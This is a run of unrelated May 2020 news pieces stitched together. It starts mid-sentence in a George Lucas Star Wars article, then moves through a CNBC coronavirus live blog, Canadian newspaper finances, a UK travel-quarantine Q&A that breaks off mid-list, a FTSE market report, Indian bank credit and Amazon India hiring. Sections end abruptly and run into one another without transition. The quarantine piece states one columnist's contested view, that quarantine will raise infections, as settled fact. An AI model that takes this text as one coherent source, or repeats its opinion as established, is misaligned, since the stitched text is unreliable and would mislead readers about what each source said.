Lucas went on to suggest the stories became timeless because of the moral complexities of its characters, which made them feel more real.

Read More: Lucasfilm's Kathleen Kennedy thinks she knows why George Lucas made his 'Star Wars' prequels

Their motives were driven based on psychological motifs that had been around for thousands of years in mythology, he explained. I mean its also from Episode IV, which is the first time you treated aliens as humans, as if there was nothing special about them, they just look funny.

They were unique but they werent monsters. They werent crazy aliens. They were just characters. And I dont think anybody had seen that before and I think they liked it.
Zoom In Icon Arrows pointing outwards

More than 5.2 million people in the world have contracted the coronavirus, which has spread to at least 188 countries and regions world-wide. The global death toll currently stands at 337,572, according to data compiled by Johns Hopkins University. Brazil on Saturday briefly had the second-highest number of reported cases in the world  after the United States  until Russia gave updated numbers that put its total back above Brazil's. Latin America's most populous nation now has more than 330,000 cases and more than 21,000 reported deaths, data compiled by Johns Hopkins showed. Dr. Anthony Fauci, in a CNBC interview Friday, said now is the time to reopen the economy, but states should still take "very significant precautions" with social distancing. States continue to chart a path forward, reopening nonessential businesses and easing restrictions on movement. Even the hardest-hit states in the country, New York and New Jersey, are reopening beaches for Memorial Day weekend. The coverage on this live blog has ended  but for up-to-the-minute coverage on the coronavirus, visit the live blog from CNBC's U.S. team. Global cases: More than 5.2 million

Global deaths: At least 338,232

Countries with the most cases: United States (more than 1.6 million), Russia (335,882), Brazil (330,890), United Kingdom (255,544), Spain (234,824) The data above was compiled by Johns Hopkins University.

The head of China's disease control center 'accepts' criticism over virus response

11:50 am (London time)  Gao Fu, the director of China's disease control and prevention center, has said it is "very normal" that there was criticism of the country's handling of the coronavirus outbreak, according to reports. Speaking to reporters on the sidelines of China's annual meeting of parliament, Reuters cited Fu as saying he accepted the criticism, whilst also defending Beijing's response. "With such a large epidemic in China and the world, it is very normal to receive criticism from the public," he said, Reuters reported. "We accept them with humility." Beijing has been accused by a number of countries of not reporting the emergence of the coronavirus quickly enough. The Covid-19 outbreak began in China in late 2019. However, although Gao said that China's disease control and prevention center should improve the way it reports outbreaks, he stressed that the country's response was "good" compared with some other nation's.  Katrina Bishop

Russia reports more than 9,000 new cases

4:04 pm (Singapore time)  Russia's total number of novel coronavirus cases climbed to 335,882, Reuters said on Saturday, as the country documented 9,434 new cases of infection. Russia's health authorities reported 139 new deaths. The total number of dead in Russia has reached 3,388, Reuters reported. Ted Kemp

U.S. says Beijing is blocking American carriers from flying to China

2:15 pm (Singapore time)  U.S. airlines, such as Delta Air Lines and United Airlines, want to resume passenger flight services to China, but Beijing is making it impossible for them to do so, according to Reuters. That's despite the fact that Chinese airlines are still flying to the U.S. during the coronavirus outbreak, the report said. In a statement seen by Reuters, the U.S. Transportation Department said it "protested this situation to the Chinese authorities, repeatedly objecting to China's failure to let U.S. carriers fully exercise their rights and to the denial to U.S. carriers of their right to compete on a fair and equal basis with Chinese carriers." It reportedly called the situation "critical." Joanna Tan

Hertz files for bankruptcy in the U.S.

10:55 am (Singapore time)  U.S. car rental giant Hertz filed for bankruptcy protection late Friday, after days of seeking to negotiate its massive debt with creditors. The coronavirus pandemic has dried up demand for car rentals, dealing a serious blow to the company and prompting Hertz to lay off at least 10,000 staff across North America. "The impact of COVID-19 on travel demand was sudden and dramatic, causing an abrupt decline in the Company's revenue and future bookings," Hertz said in a statement. The company quickly took action to place the health and safety of its staff, and eliminated non-essential expenditure to preserve liquidity, it said. "However, uncertainty remains as to when revenue will return and when the used-car market will fully re-open for sales, which necessitated today's action." Joanna Tan

Brazil is the world's second-worst hit country

8:23 am (Singapore time)  Brazil now has the second-highest number of reported cases in the world after overtaking Russia, according to data compiled by Johns Hopkins University. The U.S. remains the country with the most number of reported cases.

Aerial view of an area at the Nossa Senhora Aparecida cemetery where new graves have been dug in Manaus, Brazil, on May 22, 2020 amid the novel Covid-19 coronavirus pandemic. Michael Dantas | AFP | Getty Images

Brazil saw a spike in the number of cases this week. The South American country now has 330,890 confirmed cases and 21,048 fatalities, Hopkins data shows. The World Health Organization warned that South America has become a new epicenter for the global pandemic. Joanna Tan

Former NBA star Patrick Ewing tests positive for coronavirus

7:25 am (Singapore time)  Basketball legend Patrick Ewing has been hospitalized after being diagnosed with Covid-19, a statement from Georgetown Athletics said. The Hall of Fame basketball player, who is currently head coach at Georgetown University, is being isolated at a local hospital, the statement said. "I want to share that I have tested positive for COVID-19. The virus is serious and should not be taken lightly," Ewing said. "Now more than ever, I want to thank the healthcare workers and everyone on the front lines. I'll be fine and we will all get through this." Joanna Tan

States lift recreation restrictions ahead of Memorial Day

Woman take in the sun on the beach at Long Beach, New York May 22, 2020, as people get started on the Memorial Day weekend. Timothy A. Clary | AFP via Getty Images

3:43 pm ET  Both Alabama and Texas lifted major restrictions on recreational opportunities ahead of Memorial Day weekend. Alabama reopened entertainment venues like theaters, bowling alleys and arcades. Texas allowed rodeos, bowling alleys, bingo halls, skating rinks, aquariums and other spaces to reopen. Bars in the state were allowed to reopen at 25% capacity as well. For more on states' reopening progress, click here. Hannah Miller

Trump demands that states let houses or worship reopen

3:37 pm ET  President Trump demanded that governors reopen churches, synagogues and mosques "right now," and threatened to "override" state leaders' restrictions if they do not do so by the weekend. Trump, in a surprise announcement from the White House briefing room, said it was an "injustice" that some state leaders have allowed "liquor stores and abortion clinics" to stay open amid the Covid-19 pandemic while closing houses of worship. The comments marked Trump's latest attempt to ramp up the political stakes surrounding the country's coronavirus recovery efforts. "The governors need to do the right thing and allow these very important essential places of faith to open right now, for this weekend," Trump said. "If they don't do it, I will override the governors." But it's far from clear if Trump has the authority to do so, as the White House has only released guidelines for states and regional leaders to follow as they combat the disease. Kevin Breuninger

San Francisco summer camps to open under certain restrictions

3:29 pm ET  San Francisco summer camps and programs can open June 15, Mayor London Breed announced. However, all public and private summer camps must have specific safety protocols in place, including capacity limitations, temperature screenings and enhanced sanitizing procedures. "It won't be like the summer we're used to," Breed said at a press briefing. Camps and programs must prioritize space for children whose parents work at businesses that are allowed to operate under the city's health order as well as those who are low-income. The camps are allowed to serve campers aged 6 to 17 from June 15 to August 17. Hannah Miller

South America has become a 'new epicenter,' WHO says

2:43 pm ET  Roughly 6 months after the coronavirus emerged in Wuhan, China, South America has become a new epicenter of the global pandemic, the World Health Organization said. WHO officials noted that most cases in South America are being reported in Brazil, where urban areas like Rio de Janeiro and Sao Paulo have reported surges in cases. However, on a per capita basis, the virus is infecting more people in the rural Amazonas state, Mike Ryan, executive director of the WHO's emergencies program, said. Dr. Maria Van Kerkhove, head of the WHO's emerging diseases and zoonosis unit, said the outbreak underscores the need to protect at-risk people who have underlying conditions and limited access to health care. Will Feuer

Georgia issues safety guidelines for film sets as crews gear up to resume production

2:39 pm ET  Georgia Gov. Brian Kemp released guidelines for restarting TV and film production within the state. Georgia has become a hub for Hollywood, raking in about $3 billion in direct spending from film and TV production. The industry provided an additional $6.5 billion in economic impact to the local economy. Georgia's best practices for a restart to film production require social distancing, frequent hand washing, temperature checks and testing, as well as limiting the number of people that need to be on set at one time. The full list of guidelines can be found on the Georgia Film website. Sarah Whitten

New York auto show canceled

Ian Callum and the Jaguar I-Pace accept the award for the 2019 World Car Award at the New York Auto Show in New York on April 17th, 2019. Adam Jeffery | CNBC

2:31 pm ET  Organizers of the 2020 New York auto show canceled the event, previously set to be held in August at the Javits Convention Center in New York City. The convention center is being used as a temporary hospital as coronavirus patients crowd medical centers. The 2020 auto show had previously been postponed from April to August, but will now be canceled entirely. The next event is scheduled for April 2021. Sara Salinas

Hospitals fear patients won't feel comfortable returning for care

2:17 pm ET  Hospital systems have been able to resume elective surgeries and other procedures, but challenges remain in helping patients feel comfortable enough to come back in. Medical facilities are implementing safety measures like scanning visitors' temperatures, distributing coronavirus symptom questionnaires and spacing out waiting room chairs under social-distancing guidelines, CNBC's Bertha Coombs reports. The new protocol is helpful in giving patients a sense of security that could prevent them from delaying vital medical care. Hannah Miller

Potential vaccine developed in China triggers immune response in early-stage trial, study says

2:05 pm ET  A coronavirus vaccine candidate developed in China appeared to produce neutralizing antibodies in dozens of patients participating in an early-stage clinical trial, according to results published in The Lancet. Researchers believe that developing this type of antibodies could be an important step in acquiring immunity to the virus, CNBC's Berkeley Lovelace reports. However, the research team responsible for the study warned that the early results should be interpreted cautiously. Hannah Miller

Gottlieb says 'some semblance of normalcy' possible in summer with precautions

2:00 pm ET  Dr. Scott Gottlieb told CNBC he believes if Americans are careful this summer, "we can take a breather and get back to some semblance of normalcy." Gottlieb did warn about complacency heading into the fall, though, "when the risk is going to be very different." The former FDA chief said on "Squawk Box" that must still take precautions, including going to the store less, practicing good hygiene when out and reducing the size of one's social circle. "Any place you're in an indoor setting and you're in contact with people for a sustained period of time, that is the conditions under which this spread," said Gottlieb, who is a CNBC contributor and sits on the boards of Pfizer and biotech company Illumina. Kevin Stankiewicz

Travel expected to look quite different this summer

1:26 pm ET  With summer approaching, small businesses that rely on tourism are hoping Americans will still be willing to travel, despite the pandemic. Even with low travel numbers expected for the Memorial Day holiday, hotels are still gearing up for the season with new policies that include enhanced disinfecting and requiring guests to wear masks, CNBC's Jessica Golden and Contessa Brewer report. Travel companies like Airbnb and Reservations.com are also seeing changing travel trends that include increased interest in cabins and resorts that people can drive to. Hannah Miller

Fauci says 'now is the time' to reopen the economy

1:18 pm ET  White House health advisor Dr. Anthony Fauci told CNBC's Meg Tirrell that states staying closed for too long due to the coronavirus could end up causing "irreparable damage." He said the U.S. had to institute severe measures because Covid-19 cases were exploding. "But now is the time, depending upon where you are and what your situation is, to begin to seriously look at reopening the economy, reopening the country to try to get back to some degree of normal." Fauci warned members of Congress last week that the U.S. could face even more "suffering and death" from the coronavirus if some states rush to reopen businesses too early. It could also hinder states "on the road to try to get back to an economic recovery," he testified at a hearing before the Senate Committee on Health, Education, Labor and Pensions on May 12.  Berkeley Lovelace Jr.

New daily coronavirus cases in New York now lower than beginning of the outbreak, governor says

1:02 pm ET  New York Gov. Andrew Cuomo said there were 225 new Covid-19 cases on Thursday, based on a three-day rolling average, which is at a "level now that is lower than we first began." While only a single daily figure, the number of new infections has been on a steady decline across the state, which at its peak reported more than 3,100 new cases daily. The state reported an additional 109 deaths on Thursday, which "has been stubborn on its way down," Cuomo said. The state has started to implement its phased reopening plan in some regions that have met seven health metrics, such as declining hospitalizations and new cases, as well as sufficient hospital bed and testing capacity. He said the Long Island and the mid-Hudson regions could begin reopening next week if deaths continue to decrease and sufficient contact tracing is implemented. Noah Higgins-Dunn

Coronavirus patients treated with Trump-touted hydroxychloroquine more likely to die, study finds

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President Donald Trump speaks during a bill signing ceremony for H.R. 748, the CARES Act in the Oval Office of the White House on March 27, 2020 in Washington, DC. Erin Schaff | Pool | Getty Images

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Customers rush to purchase toilet paper at a Target store during the panic shopping. People stock up on food and personal hygiene products in response to the coronavirus (COVID-19) pandemic. Paul Hennessy | Echoes Wire | Barcroft Media via Getty Images

11:28 am ET  Companies from Walmart to Wendy's say they got a bounce in April as Americans received stimulus checks from the federal government, but some cautioned the higher levels of spending may not last. In earnings calls this week, the CEOs of Walmart, Target and Best Buy spoke about an uptick on spending as customers had extra money in their pockets. Walmart CEO Doug McMillon said more people bought discretionary items, such as sporting goods, toys and TVs. Best Buy CEO Corie Barry said it saw a bump in gaming, computing and small appliances. Even as companies described the stimulus' effect, they were hesitant to forecast future sales and spending patterns. And some research indicates that many Americans have put the money in savings or already used it. Melissa Repko, Lauren Feiner

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9:00 am ET  Apparent 2020 Democratic nominee Joe Biden said on CNBC that if he were president, a coronavirus vaccine would be free for everyone in the United States. "I tell you what, if one is found, I would make sure that every single person in America is able to get a vaccine, period, without any cost," Biden told "Squawk Box." "And I would do the same thing with testing right now." The former vice president couched the health-care stance in economic terms, contrasting himself with President Donald Trump, who is pushing states to quickly reopen their economies. "All this talk about reopening  people aren't going to open until they have the confidence to know that if they gather together, they're not going to get sick," Biden said. Trump said last week that he was "looking at" the possibility of making an eventual coronavirus vaccine available free of charge. Kevin Breuninger

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Migrant laborers queue for a medical checkup at a quarantine center during a nationwide lockdown against the coronavirus outbreak in Allahabad, India on April 27, 2020. Ritesh Shukla | NurPhoto via Getty Images
TORONTO - Phillip Crawley, publisher of The Globe and Mail, is warning that already diminished print advertising revenues are headed for another shock as the impacts of COVID-19 ravage the newspaper industry.

Hey there, time traveller!

This article was published 21/5/2020 (608 days ago), so information in it may no longer be current.

TORONTO - Phillip Crawley, publisher of The Globe and Mail, is warning that already diminished print advertising revenues are headed for another shock as the impacts of COVID-19 ravage the newspaper industry.

Crawley on Thursday urged the federal government to take greater "targeted support measures" to help publishers weather the decline as they continue to cover the viral pandemic.

"The long-term outlook for the Globe, and many others, has darkened because of the pandemic," he told the House of Commons standing committee on finance via a web conference.

"Print advertising revenue, once the backbone of newspapers, will go into accelerated decline."

Crawley said more than 60 per cent of the Globe's revenue is subscription driven at this point, while the other 33 per cent comes from digital and print advertising.

The Globe dropped its digital paywall on COVID-19 news stories, which led to a historic high in website traffic, but Crawley said it also meant the media company "sacrificed revenue."

He expects a drop in print advertising revenues of 32 per cent for the fiscal year starting in September, and he anticipates within the industry his paper "won't be the biggest victims in Canada."

"We've been cutting costs over the last few months to minimize layoffs, and I've suggested schemes to Heritage like a rebate on our printing costs or a subsidy on the fees that all the leading media companies pay each month to The Canadian Press," he said.

"The broadcasting industry has received additional support, and I argue that targeted support measures for the news publishing industry are likewise needed to help publishers weather the storm."

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Crawley expressed disappointment with how the federal government has spent money for its $30-million COVID-19 awareness ad campaign.

"So far, the Globe has received only $81,000 out of that $30 million. By contrast, the Ontario government has spent nearly $1.5 million with the Globe and Mail in the last two months on its health awareness campaign."

Publishers that represent a majority of Canadian newspapers signed an open letter to the federal government earlier this month calling for immediate action to make digital giants like Facebook and Google share their advertising revenues with Canadian media companies.

"If you value the contribution that newspapers like the Globe and Mail make to the democratic debate, and you want to see them survive the current crisis and be healthy. I suggest this time you pay urgent attention to these inequities."



A subsidiary of the Globe and Mail holds an investment in The Canadian Press as part of a joint agreement with the Toronto Star and a subsidiary of Montreal's La Presse.
These are the key questions and answers about what the UKs first blanket quarantine policy means for travellers.

What is happening  and why now?

Most travellers coming to the UK by air, sea or rail are required to self-isolate for 14 days from the day following the day of arrival.

The only exception is if they are leaving the country before the two weeks are up.

The obligation applies to returning holidaymakers as well as foreign visitors to the UK.

The home secretary, Priti Patel, justified the measure by saying: We are taking these measures at the right time because we are serious about saving lives and controlling the virus.

Now we are past the peak of this virus, we must take steps to guard against imported cases, triggering a resurgence of this deadly disease.

As the transmission rate across the UK falls, and the number of travellers arriving in the UK begins to increase, imported cases could begin to pose a larger and increased threat.

The governments move is supported by Labour, though the shadow home secretary is calling for a test as an alternative to 14 days of self-isolation.

Does science back the UKs quarantine move?

No. Blanket quarantine is regarded as of value only when infection rates are low relative to other countries. The UK has one of the highest rates in the world.

The governments chief scientific adviser, Sir Patrick Vallance, made it clear that the timing of the unprecedented measure was decided by ministers alone.

At a Downing Street daily briefing, he said: Measures like this are most effective when the number of cases is very low, and theyre most effective when theyre applied to countries with higher rates.

The judgment of that time is, of course, not something for us, its something for politicians to make. They make the policy, and they make the timing decisions.

The Department of Health and Social Care said soon after the start of the outbreak that quarantine was of only short-term value.

In its justification for introducing the option of 14-day quarantine of individuals, it said: If and when virus becomes established with sustained widespread transmission in the UK there would no longer be reason to apply these regulations.

The World Health Organisation (WHO) says that quarantine can play a part in dealing with pandemics, but only in the early stages.

Its official guidance says: Introducing quarantine measures early in an outbreak may delay the introduction of the disease to a country or area, or may delay the peak of an epidemic in an area where local transmission is ongoing, or both.

The WHO does not recommend quarantine for the infection phase in which the UK finds itself.

What will the effects be?

The number of infections  and, tragically, the consequent deaths  will be higher than had quarantine not been introduced.

That is because requiring returning travellers to self-isolate for 14 days has the immediate effect of deterring British holidaymakers from going abroad this summer.

By causing the cancellation of holidays for millions of prospective UK travellers, the quarantine policy will eliminate an effective way to cut the infection rate: reduce the number of candidates for infection.

The more people in the UK, the more potential victims. Therefore the government should encourage as many healthy British citizens as possible to travel, safely and respectfully, to countries where infection rates are lower  which includes almost every nation on earth.

Instead, the government is choosing to do the opposite. Keeping people in the UK when they want to be elsewhere will increase the number of Covid-19 cases.

The Cornish county councillor responsible for tourism has warned of the harm quarantine may bring this summer.

The policy is also causing immense damage to airlines and holiday companies already reeling after the worst three months in their history.

Quarantine will trigger thousands of job losses. And because it is an open-ended measure, it is also causing emotional distress among holidaymakers who do not know if their trip will go ahead.

What are the mechanics?

Before departing by air, rail or sea to the UK, travellers must fill in a Passenger Locator Form in the 48 hours before they arrive. It includes travel details and contact information so they can be reached if they, or someone they may have been in contact with, develops the disease.

The traveller must specify an address that is either their home; the home of a friend or family member; a hotel, hostel, bed and breakfast accommodation; or other suitable place, the rules say.

The Home Office adds: If you will not be able to safely self-isolate at the place youre planning to stay, tell Border Force officers when you arrive in the UK. Theyll give you a choice of accommodation to stay at.

There will be no formal examination upon arrival at the UK border, but spot checks will be carried out to ensure the online form has been completed

In theory the traveller could be fined 100 for failing to complete the form before arrival in England (but only 30 in the other three UK nations, doubled if they fail to pay within two weeks).

In practice, though, if a traveller is unable to register online, there should be an opportunity to complete the form at the arrival point.

The Home Office says: Border Force will undertake checks at the border and may refuse entry to any non-British citizen who refuses to comply with these regulations and isnt resident in the UK.

Is there any way to shorten the two weeks in self-isolation?

The only way legally to end the 14 days of quarantine is to leave the country again.

You could, for example, go on a city break to Rome, return for a few days of self-isolation, then take a holiday to Portugal, Croatia or another destination that is welcoming British travellers.

You would need to begin a fresh round of two weeks of quarantine on your return.

At present any such journey would breach the current Foreign Office advice against non-essential travel abroad.

Is safe transport provided from the arrival point in the UK?

No. You should ideally travel home in a car driven by someone from the household where you will self-isolate.

Many travellers, though, are likely to use taxis or public transport. The quarantinee is expected to travel directly to the place at which they are to self-isolate.

How restrictive will self-isolation be?

Much tighter than lockdown has been for the general population of the UK. The Health Protection (Coronavirus, International Travel) (England) Regulations 2020 (which has parallel legislation in Wales, Scotland and Northern Ireland) says the traveller must remain at the address given.

The Scottish NHS instructs quarantinees: Stay in a well-ventilated room with a window to the outside that can be opened, separate from other people in your home.

If you can, you should use a separate bathroom from the rest of the household.

But elsewhere the self-isolator can use any garden, yard, passage, stair, garage, outhouse, or other appurtenance of such premises.

It is possible to leave the address only for some closely specified reasons:

to seek medical assistance

to attend court or satisfy bail conditions

to avoid injury or illness or to escape a risk of harm

to attend a funeral of a member of the household, a close family member or a friend (as long as no other member of the household is attending)

to move to a different place for self-isolation specified on the Passenger Locator Form, eg from an airport hotel to your final destination

to access critical public services, including social services or victim support

There is some confusion over whether the returned traveller may go shopping. In Northern Ireland and Scotland, they are told You should not go shopping. If you require help buying groceries, other shopping or picking up medication, you should ask friends or relatives or order a delivery.

But the law in England allows the quarantinee to obtain basic necessities such as food and medical supplies for those in the same household (including any pets or animals in the household) where it is not possible to obtain these provisions in any other manner.

While members of the same household need not themselves self-isolate, the official advice to travellers is: If youre at home or staying with friends or family, avoid contact with the people youre staying with and minimise the time you spend in shared areas.

During quarantine, the arrived travellers should not have visitors, including friends and family, unless they are providing essential support.

If youre staying in a hotel or guest house, you cannot use shared areas such as bars, restaurants, health clubs and sports facilities. Stay 2 metres away from all other guests and staff.

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How will quarantine be enforced?

The home secretary said: We will not allow a small, reckless minority to endanger us all  so there will be penalties for those who break these mandatory measures.

Public Health England will set up an assurance service to contact people at random to ensure they understand the requirements and are self-isolating.

Officials can telephone or call at the nominated address at any time during the 14 days. If the traveller is neither at home nor out with a valid excuse, a 1,000 fixed penalty notice will be issued in England, Wales or Northern Ireland.

In Scotland, the fine is only 480.

But the Metropolitan Police Federation has told The Independent that officers do not have the resources to enforce quarantine.

Michael OLeary, chief executive of Ryanair, has predicted: People will simply ignore something which is so hopelessly defective.

In the unlikely event you are actually called by someone from track and tracing, you could be on a golf course, you could be on a beach, you could be in the supermarket, saying yes, I am complying fully, I am sitting at home quarantining.

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Who is exempt?

The government has considerably tightened up its list of exemptions. Previously it indicated that a wide range of professions including bus drivers, dentists and police officers could dodge 14 days of self-isolation.

The main exemption is for international commuters who can show that they reside in one country but regularly work in the other. You should also be able to demonstrate that you travel between the two on a minimum of a weekly basis, for example, a season ticket, says the new law.

However, frequent travellers arriving in Scotland will have to self-isolate for 14 days.

International transit passengers arriving at Heathrow airport will be able to make onward connections as normal. While the rules specifiy travellers should remain airside, in practice since the one way to shorten the 14-day requirement is to leave the country.

People arriving in the UK from the Common Travel Area (CTA: the Republic of Ireland, the Channel Islands and the Isle of Man) will be exempt  unless they have been outside the CTA at any time in the previous 14 days.

This condition closes the so-called Dublin dodge, a loophole that would have allowed passengers to make a quick trip to the Irish capital and claim exemption.

If I travel between Northern Ireland and Great Britain, must I self-isolate?

No, though at present you can travel within the UK (and especially within Northern Ireland) only for essential purposes. A business, family or leisure trip does not count.

Is there an option to take a test on arrival, and so skip quarantine?

No. Other countries have deployed this strategy. Travellers to Austria can take a test at Vienna airport and, if they are coronavirus-free, skip the need to self-isolate. Greece says it will test passengers at random when they arrive. And the Portuguese island of Madeira will test everyone on arrival, free of charge.

But the UK will not offer tests. Nor will Covid-19 certificates issued by foreign countries ahead of the journey be accepted in lieu of self-isolation.

If, after arriving at your self-isolation destination, you develop symptoms and request a test that then proves negative, you are not permitted to end quarantine.

I have a holiday booked this summer and cant handle a fortnight of self-isolation when I return. Can I cancel?

You can cancel, but legally you are not entitled to a refund. If the travel firm or airline can safely operate your trip and bring you back to the UK, they will have fulfilled their contract. The fact that you would then need to self-isolate is not their problem.

But the travel industry recognises that very few travellers will want to go on holiday if they then are obliged to stay indoors for two weeks. The two biggest holiday companies, Tui and Jet2, were planning to restart operations in mid-June.

They have now cancelled everything up to the start of July.

Any Tui customer who wants certainty can take advantage of the travel firms new policy that allows holidaymakers booked until the end of August to postpone without penalty.

Airlines, too, are not legally obliged to provide refunds if you no longer wish to travel. In practice some such as British Airways  are likely to cancel flights wholesale, allowing you to claim your money back, while others may offer vouchers for future travel.

If the flight goes ahead, you are not entitled to a refund.

Cant I just claim on travel insurance?

That is doubtful. The existence of a law requiring you to self-isolate on return does not affect the performance of the trip.

How long will the quarantine policy remain in place?

The law applies until 8 June 2021. The conditions that the government cites as justification for the policy are likely to prevail for many months. So, logically, quarantine should probably remain in place for the rest of the year.

But the government has promised to review the policy every three weeks. The entire travel industry and many MPs are furious about the harm the quarantine policy is causing to businesses and individuals, and want it either axed or neutralised.

With medical justification for quarantine at this point so skimpy, and the economic and emotional harm the policy will cause so intense, it is thought unlikely to be renewed  at least before some arrangements are brought in to allow British travellers to visit the most popular countries.

The first renewal date is Monday 29 June. While the policy will notionally be continued, the prime minister has hinted that so-called air-bridge arrangements will allow returning holidaymakers from the most popular destinations to be exempt from quarantine.

 CBI urges government to 'think very carefully' about 14-day quarantine proposal

What are air bridges?

Agreements between countries who both have low transmission rates to recognise each others departure screening measures for passengers and removing the need for quarantine measures for incoming passengers  that is the governments definition.

When quarantine comes up for review, air-bridge arrangements are likely to be used to justify lifting the obligation for arrivals from the most popular holiday destinations.

Spain, France, Portugal, Italy, Croatia, Greece, Malta, Cyprus and Turkey will all press for exemption, possibly along with the US.

Will last-minute travel become the norm?

Probably. The travel industry believes that no significant fresh outbound holiday sales will be made while the open-ended prospect remains of a fortnights mandatory self-isolation on return.

Rationally no one will book a trip a long way ahead knowing that the government can impose arbitrary policies that would scupper travel plans.

When quarantine is finally lifted, can self-isolating travellers simply stop?

No. They are expected to complete their mandatory self-isolation sentence. Many travel industry figures, though, believe that most individuals in this unfortunate position when an end to quarantine is announced will simply abandon isolation.

What needs to happen before foreign holidays become possible again?

These are my five tests:
China's decision to abandon a key economic target and rising tensions with the US cast a pall over stock markets as the week drew to a close.

Beijing ditched its forecast for GDP growth for the first time since the measure was introduced in 1990.

President Xi Jinping said it was too difficult to predict the outlook for 2020, as governments around the world grapple with the shock caused by the pandemic.

Poor closing: China's decision to abandon a key economic target and rising tensions with the US cast a pall over stock markets as the week drew to a close

Xi also unveiled a 546billion stimulus package to boost infrastructure and help prop up ailing businesses.

But the admission that the next few months will be such a big unknown for the world's second biggest economy is likely to throw industries into disarray, as they lose a key indicator for how much China might want to consume in raw materials and oil  and how much it might want to produce and export.

As SP Angel brokers explained: 'Lower demand from Western consumers will likely cut into Chinese exports as manufacturers struggle to sell goods.'

Added to this, Beijing's plans to introduce a new security law for Hong Kong raised concerns it could trigger another wave of violent protests.

Little is known about the details of the bill, which is expected to ban sedition, secession and subversion, but President Donald Trump has already said the US would 'react strongly' to China if it pushes ahead with its plans.

Relations were already fraught, with Trump lashing out repeatedly over the country not doing more to contain the coronavirus, and look likely to heat up further.

Shares in financial stocks that are particularly exposed to Asia and China racked up losses yesterday, with Prudential falling by 9.3 per cent, or 103.5p, to 1011p, Standard Chartered dropping 2.4 per cent, or 9.5p, down to 382p and HSBC closing 5 per cent lower, down 19.9p, to 379p.

Oil prices fell 3.8 per cent to $34.70 a barrel as traders fretted about what effect, as the world's largest oil importer, this could have on China's need for crude.

The FTSE 100 edged into the red, falling 0.4 per cent, or 21.97 points, to 5993.28.

Water supplier United Utilities also dragged on the blue-chip index, falling 4.6 per cent, or 42.6p, to 879.4p, despite its dividend rising 3.2 per cent on last year. Profits fell 30 per cent to 303million, while revenues inched 2 per cent higher to 1.9billion in the year to March 31.

It hinted the dividend policy could change in future, saying it would review the payout 'as a clearer picture' of post-Covid-19 trading emerges. Analysts are bracing for some people not being able to pay their water bills.

The FTSE 250, meanwhile, yesterday closed marginally up  rising by 0.01 per cent, or 12.9 points, to 16,398.86. It was held back by a 10.6 per cent, or 130p drop in Go-Ahead's shares, to 1099p, after the bus and rail provider said the disruption to travel caused by the coronavirus will hit profits this year.

Close: The FTSE 100 edged into the red, falling 0.4 per cent, or 21.97 points, to 5993.28

The group has scrapped its financial forecasts this year, blaming uncertainty around how much people will use public transport when lockdown eases. It is so far estimating that profits will fall to between 63million and 75million for the year that ends in June, down from 121million it made the year before.

Over on AIM, events magazine and food market operator Time Out Group said it was hoping to raise up to 49million to help pay down debt and tide itself over during a slump in the restaurant and advertising industries.
Indias outstanding bank loans shrank during the lockdown despite a massive liquidity injection by the central bank to spur credit growth, indicating demand for loans is ebbing as the pandemic leaves a haze of uncertainty about the future.

Total outstanding non-food credit shrank by Rs 1.36 lakh crore, or 1.32%, to Rs 101.83 lakh crore on May 8 from March 27, data from the Reserve Bank of India (RBI) showed.

The country has been placed under a stringent lockdown since March 25 to limit the spread of Covid-19, bringing economic activity to a standstill. Bankers said wilting credit growth is also a result of the lack of demand for loans and cannot be entirely blamed on banks reluctance to lend. A senior banker at a large public sector said last week that customers do not want to borrow now but only keep their credit lines in place.

They might need money immediately after the lockdown and want to keep the sanctioned limit in place, he had said.

Finance minister Nirmala Sitharamans office tweeted on May 12 that state-run banks have sanctioned Rs 5.95 lakh crore in loans between March 1 and May 8. RBI data on credit flow is available from February 28 to May 8 and shows incremental growth of Rs 1.43 lakh crore between these two dates, reflecting a difference of Rs 4.5 lakh crore between sanctions and disbursals.

To be sure, RBI data is on outstanding credit (net of repayments), but since most banks have said that around half of their borrowers have opted for the three-month moratorium, repayments are unlikely to have surpassed fresh disbursements.

That apart, while the government data on sanctions is only for state-run banks, the RBI data is for all commercial banks.

Rating agency Icra said on May 5 that the incremental credit flow from banks stood at Rs 5.9 lakh crore in FY2020, compared with Rs 11.9 lakh crore during the previous fiscal as slowing economic growth curtailed demand for credit and banks became more risk averse. There are expectations of increase in incremental credit flow during FY21, driven by increased credit demand amid weakening cash flows of borrowers, said Karthik Srinivasan, head (financial sector) at Icra.

Meanwhile, the government recently announced measures for small businesses and non-bank financiers, which include Rs 3 lakh crore in guaranteed loans.

Experts said that while banks have not been keen to lend to these high-risk sectors, the government guarantee could be a push in the right direction. A note by IFA Global Research Academy pointed out that the measures are intended at getting credit flow to resume in the banking system.

Lenders have so far been stashing significant sums of money with RBI, sometimes even more than Rs 8 lakh crore, on a daily basis. Banks would therefore rather earn a paltry interest of 3.75% than lend to businesses and consumers.
E-commerce major Amazon India on Friday said it will add 50,000 'seasonal' or temporary roles to meet the surge in online demand for products, particularly from those most vulnerable to being out in public in the backdrop of the coronavirus pandemic.

The 50,000 seasonal roles will be across its warehousing and delivery network, and the move comes at a time when economic activities and e-commerce operations are slowly chugging back to life outside containment zones, as the country eyes a staggered exit from lockdown, with fewer curbs.

The opening of seasonal roles at Amazon India also comes amid the spate of layoffs by tech-led companies like Swiggy, Zomato, ShareChat, Ola and some others over the past few days.

"Amazon India today announced that it has opened close to 50,000 seasonal roles to meet the surge in demand from people relying on Amazon's service, particularly those most vulnerable to being out in public.

"This will be a variety of roles in their fulfilment centres and delivery network including part-time flexible work opportunities as independent contractors with Amazon Flex," the company said in a statement.

They will join other thousands of associates across Amazon India's fulfilment and delivery network and assist them to pick, pack, ship and deliver customers' orders more efficiently, it said.

"As India continues to maintain social distancing to fight the ongoing COVID-19 pandemic, Amazon India firmly believes it has a unique role to play providing a critical service for the community; to help them get the items they need for their families without leaving their homes," it said.

Akhil Saxena, VP, Customer Fulfilment Operations (Asia Pacific, Middle East and North Africa, and Latin America), at Amazon said that the COVID-19 pandemic has underlined the important role that Amazon and ecommerce can play for customers as much as for small businesses and the economy.

"We take this responsibility seriously, and we're proud of the work our teams are doing to help small and other businesses deliver to our customers through this difficult time.

"We want to continue helping customers all over India get everything they need so they can continue to practice social distancing. To enable this, we are creating work opportunities for close to 50,000 seasonal associates across our fulfilment and delivery network," he said.

Saxena added that this will also keep as many people as possible working during this pandemic while providing a safe work environment for them.

"While creating these opportunities, Amazon remains committed to the health and safety of its associates, partners, employees, and customers, and has implemented a number of measures towards their well-being," the company statement said.

